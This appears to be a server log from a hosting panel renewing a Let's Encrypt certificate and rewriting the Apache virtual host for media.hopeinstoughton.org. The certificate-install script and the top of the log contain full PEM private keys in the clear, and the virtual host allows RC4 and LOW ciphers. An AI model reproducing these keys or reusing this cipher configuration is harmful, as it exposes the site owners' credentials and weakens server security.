ZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS
7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbG3LBjgAABAMARzBFAiEAqOZM
vIJ+LA1dwKPOEtYweXxlX7VUTKDTDPXv6XkuVyMCIG0Eje5zgNWmcKVXb8m0CI5t
XA3QImANh+xLNpK4uLUwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbG3LBpwAABAMARzBFAiBva4YiU4L0+WKbNJogQ2LRn08la2LLkOdjhdT4
TbWsIwIhAIlYBgRTtysQ0vERN5/3FCLFRSA+Wqh7Xg6APmOzhHf/MA0GCSqGSIb3
DQEBCwUAA4IBAQCA6mNlQRO8S5axZeDUM0Mf9wrqb04enHXNs65UxwlMYrkb0lKE
CihuSC2ofACkAjnTTSB678q3prwF49VcakeXYm10JmTwSQeSJsuwg/NVE+7EMpEy
fhtkIbZU2xJeB+falbBuTdIbxdUYkqu6Od+IqBhmS44KrcKPpXp+gAJSVRV8oQZe
hGYvOqnKmBbsphujaPLtPjRtuUhJV5W0K9ehKsn+4HC3bM/NNt4lxbFgfaeCccCk
bgTSGIwgL0VnwSYO74Ef99q+S0USj0GOpEhGhww/hP/pwugbDctxkOsrAhwkpwwq
k2NO2C9c3Qlr50e3/njeLPszeRTCOoNBgj0u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCU4WOVfch3k2uN
n/Hs3frL4qQW6j4vnuHNcv00tfnozqYcLdRTivHKw4mx69JYqQ2vJB/70DEgwgOp
re/yz6HQdvZqq977bLoQNwd346FVD3Ex5ePTUi43RXdhRy3IPCQt2tKT80PHx+Fz
Xe1VQiapg5gzr9dmH0mIYYO3kMvaBRd7oIZAM19czdhjgtElw0Zqwzvk4iSpqZ0Y
8Upn1CoHdNP6Uctr2/9LuUfwIdySItlpbFhFpV12kXk/bofKmBPG0bmngrFd6tsE
H1/Zi578EJ99ioP/gjtPqjS62PPLiPcKy24qmR1bQ8dZL6EVjS8L08LqQj6xBqb3
N9K3dWxxAgMBAAECggEAdYKxJ31wjXE+ozprqZpMKkFpYuzgyJWPhKoOUVyRNMBn
PDawMICq+G/+bwDDtlc5BdRtqkRZgpGgcn1nty9LeU9skCW4ipr3AXVt36M74/ec
UNYzTMjA0b9yysVzzWgq5kahj0WjajzKJlUszu63tXS43ZMdYO2xDIRrgqg3Po0y
GM48OGu1JFvFOtAtp4cFcSUQbuEe05oKn0z4E11OnfBSY5LxeZ972kDjzzOGDxMC
y54GwzOgyZG1/ImN1Xhu8RMoZiY4+zuEe3E2ZjjXMZFcaKcYIHEsAafYkj4+fbS9
xok+3IDcQGRvXHszS7zZWW5wTH65SMhOYkQ0LO53AQKBgQDE90S98RaonoR68/LJ
Yr3qMGwlgrATBhzYY9PgCfeQj5+JgrfQPAud7c/TiN9eqHP2mfeqko+IM54nsWOC
DfUjDVrltAxkVuZO8C3cUgnpfdLe1pw6JBTLiPSsLQQ67CittSXynoLbpPt8j90Z
hcbwXa72FFtFPnvwp6ojaIg2zQKBgQDBgKKgcmOEEMqLfOr4XLFclVlgPgBGHTX9
/XNzjN66Rgg0RsxRHia+Ct1ZZr+TW9IdBFiixCMx/8piCJ8LSNbc4a3QQzTmUb6h
L3iXcl5TpmyPWbWrIuJUNNWNVZO1fNsfT8CJYDh/8aqjoCyFyQX2Ws3jRQBdGipP
enVDsUJkNQKBgQCAieG5lykzV2ebmbH6zM6lk34wKI5hi96tNNCjZ73BAImbwsvU
QCtQoE69fJhQ/NvYtfgTv9udhhoTS0dmK1erzV5hg1OG89MO9tzm6D8BupQvypxf
sQZFIZaS+jnFfjK50fr2z40UbCGW04f1zQDcAjdY7kX19WYK0lBNFT23jQKBgQCt
P3Pbva72DmaaTwS9y5gM8bbs4XYzUHIH70XP/h9onc04qO7D7f/4BRg7tC/wSrSr
wDlvubZdTMyxy1BCtTuS1gheP938HNJV1H/e8ModkRL/oe1yxS/o/sj42tb+FkTG
GwyisuDDROdnysAyJFLPSGuwgRYbRZL+SAD305xCxQKBgGWqzuTw5a8QYav/FlHx
aN0dZrWvpodSZIYnXoKqvUcmolAzn7Et11aSU9S+tqk2qV+AcM9RTrSZ76LojNE7
lif5SMQfykXHNFWXvApOPXsvSlCboXX+gzoDUYUO5cOARaREjyEUZGxpwojwCi6y
O0qROnU0ysR45oWcD+AMOuSo
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-14 06:01:05: Establishing a connection
2025-12-14 06:01:05: Establishing a connection
2025-12-14 06:01:05: 

PUT: /tmp/pkp195694

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-14 06:01:05: 

chmod 755 /tmp/pkp195694; /tmp/pkp195694; rm /tmp/pkp195694

2025-12-14 06:01:05: 


1


2025-12-14 06:01:06: Establishing a connection
2025-12-14 06:01:06: 

PUT: /tmp/pkp699466

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM


2025-12-14 06:01:06: 

chmod 755 /tmp/pkp699466; /tmp/pkp699466; rm /tmp/pkp699466

2025-12-14 06:01:06: 




2025-12-14 06:01:15: Establishing a connection
2025-12-14 06:01:16: 

PUT: /tmp/pkp953597

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm eA8JXpXjNP-h_M3cepCRaBBwFX8c-8B4nSBbivTlYuM


2025-12-14 06:01:16: 

chmod 755 /tmp/pkp953597; /tmp/pkp953597; rm /tmp/pkp953597

2025-12-14 06:01:16: 




2025-12-14 06:01:16: Establishing a connection
2025-12-14 06:01:16: 

PUT: /tmp/pkp926043

#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt

cat > $temp_file <<'endmsg'
f3:fd:a7:e5:61:7c:f9:10:bb:b0:6f:fc:cc:97:05:1b

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBePKCD4yAOGfoUMxuUJzOHMTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjQ1WhcNMjYwMzE0MDUwMjQ0WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAx4sZ+Lp6LLo2r17jO32Otw7dsg42CIhhS6gVSGBLTNuc3ysK
isjadnl2EDiR0FQY8IBbefWzqoh2Zu/Fj75iRPpq1ex+OqrydU5QhUErucPCqynJ
jNexwHV7pJvm+V/1tSWLtNMoHqCTqwYhxM9T2787yY4w49MyZMGRVHZEC3RRw0r4
4x34OmUCCgDDK8PFgV8AzH9C4tK/IYCTaGxEEn68lxrzHVaaiCncKNyEOvUU1e5x
FyfSTwAmMn4JZ+ZZ+HEXegKV4RvkirU3Ny5ByPoN9Yi6W6t7H8ATgPIN7XX+tOI/
TCeLri6Nwnedn6xBye/xBxdPDq/sM5LvQpzsPQIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTGjNLkMRs4SAX+EJeu4Z3g+lFzGTAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34
wwAAAZsbcu3KAAAEAwBHMEUCIG5DIhK/GwZl9BrxZqb5QjyEMwKOFdl/rf3OcSjF
TLV6AiEA+d2IsTfPzFw0hKiKeM+1sVvRR/ajMk6LIw7xclBqFeAAdwAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZsbcu3HAAAEAwBIMEYCIQC20HO3
ZsSQeuCLc6BrnYsW1zzY2U9qUUOFULdNy8DJHgIhALiq9pfYflcg5lC1mWuz4blW
ieoht447zHogkbQdDwcwMA0GCSqGSIb3DQEBCwUAA4IBAQBZ+CHqMwvpPmCDXQxh
nle2C5jyWE6N29Xo+s4t8DmVs7R3xAH+gJBg3PImZewshWsn3f/KFZbaO2dAtQs9
X7bzIqpba3T+AGXrxVGoaH35kNkMI3irKEJQNPqe/jjQxGQy7qiJ/YrX3eoBKTcL
j0Buh7vCCI8jbGi9KMA3avhYjMWalU+KvmjyNSQqpybD+jxjNYB2WijylI8K4E9C
gdbqfcfj/itZr4IcogV1M4NSdgKrBPhsDrEpIbEC52a5s+qIt58h3FNdPX/bXJMH
D5c9VJUihAXCQ3TKfFccStapvovy3Z1uEq0D84aZqd9gAiPfiXyT+MJzwSOwM6Eq
09Ai
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHixn4unosujav
XuM7fY63Dt2yDjYIiGFLqBVIYEtM25zfKwqKyNp2eXYQOJHQVBjwgFt59bOqiHZm
78WPvmJE+mrV7H46qvJ1TlCFQSu5w8KrKcmM17HAdXukm+b5X/W1JYu00ygeoJOr
BiHEz1PbvzvJjjDj0zJkwZFUdkQLdFHDSvjjHfg6ZQIKAMMrw8WBXwDMf0Li0r8h
gJNobEQSfryXGvMdVpqIKdwo3IQ69RTV7nEXJ9JPACYyfgln5ln4cRd6ApXhG+SK
tTc3LkHI+g31iLpbq3sfwBOA8g3tdf604j9MJ4uuLo3Cd52frEHJ7/EHF08Or+wz
ku9CnOw9AgMBAAECggEAB3gAZ9vq+MObimLd1Hs1nUp0J9b6VMVuBtvquAPKrbzG
mV/ODDXKX4baUW8cnhSXvmC/i8gTin2DGQU+esvgd757wzgP3XhKjPN6dhJjZZeb
MLbmsVvdblu3Xgjr00exNa+LFCCXLtZJ0KvxFaHA/MeioD+vOsfL6hOIsgWfNGJ8
RZbxg1bc6SjwKgQXtWGmhly9zCKPus7nf14+pVy0RHJs5HsCI+G1Z2OanGn0zm/z
PSVnUuzMuEaemYDomhjAGQc9Sqx4+1CDbw8jAdVzdtrXyTBXqq6UXzNbUzDJew5u
jgbdVSp2Xx9MNk6YEoSXS6p4LyZRx+G/cRvds6wfIQKBgQDiDA716TqQyPDY2e7o
/1qz50rrkH6D8beUUo5XkMVW1f56jF+7YdA/6T0TtPh0PrlCA3OFWoQleVXpB4S9
yxVLOA42nuGwHgBk1Yb3lyLVWMYONZ4W/xjq/+yGuAtxS9RTWD+n5ebQssb9MYMj
GgJZPZgcYKniew4MY7CQINFWiQKBgQDh+/yMfukeLb0TfDoqK28G9KMKz6NAap8n
O00G+M15lmOF4xWHyia6hPAfYmc49V8G/j7CYA6u6frse7JsLEcSHTu1jgeS0QpO
Li5Ykh3dU3i06zag9W/owCecYceL2G5Cbh/JzZe2VEBKKcLd96mCqgGkru68ZIKI
KbUz3rV7FQKBgQCKsoNrd9Orit/c7ruc0zHAOSbLKzm1k9bkd1NHf1jWUy912jPT
Mc0pqd8D/IKGMQZS7vMu279BjxWbijV0jutd3+M4uHwaKA5t0Gaj/GQvK+06QsPh
sFyFtMpYTw0WU0TQbtGAH5xkaY2XRY4FN6xBPX3by6PxhzezemeXx8sqoQKBgQCW
MIb0SRRdvkA/RvzRMfSkRsplUQJKuZH03PCghZLqEA0s2nNgv/VlWRzNfvTjYhA5
8Zd8T6LylQbzTHKUegjx/QPF8hMOfGfA9ehPbSzz/5nlg73W08gAhFTPFh0s0DbX
Z6Ew2bbOssfXglHEe+joslxNOwXnp1Upca7APm+W0QKBgQDZ3tBAIYP3rLUtArsl
bsZ9m32RGK2LS83ZXw6Kpgy2D3T33MgiVU41niuvLsJRYfDBPRzm9yXCve0cUM6Y
JdRYyEAdfsl7iQNnb1zrPDEw1wswvep8T3/f6JVZuONzcwrzMheLOjaT0T7ASqmG
tVuYnZqlXy9lGOCpdDvB8Rj+Cw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-14 06:01:16: 

chmod 755 /tmp/pkp926043; /tmp/pkp926043; rm /tmp/pkp926043

2025-12-14 06:01:16: 


dir=/etc/ssl/certs


2025-12-14 06:01:16: 

PUT: /tmp/pkp299722

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-14 06:01:16: 

chmod 755 /tmp/pkp299722; /tmp/pkp299722; rm /tmp/pkp299722

2025-12-14 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-14 06:01:16: 

PUT: /tmp/pkp666506

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi


2025-12-14 06:01:16: 

chmod 755 /tmp/pkp666506; /tmp/pkp666506; rm /tmp/pkp666506

2025-12-14 06:01:16: 




2025-12-14 06:01:16: 

PUT: /tmp/pkp591513

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-14 06:01:16: 

chmod 755 /tmp/pkp591513; /tmp/pkp591513; rm /tmp/pkp591513

2025-12-14 06:01:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:01:16: Establishing a connection
2025-12-14 06:01:16: 

PUT: /tmp/pkp478314

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-14 06:01:16: 

chmod 755 /tmp/pkp478314; /tmp/pkp478314; rm /tmp/pkp478314

2025-12-14 06:01:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
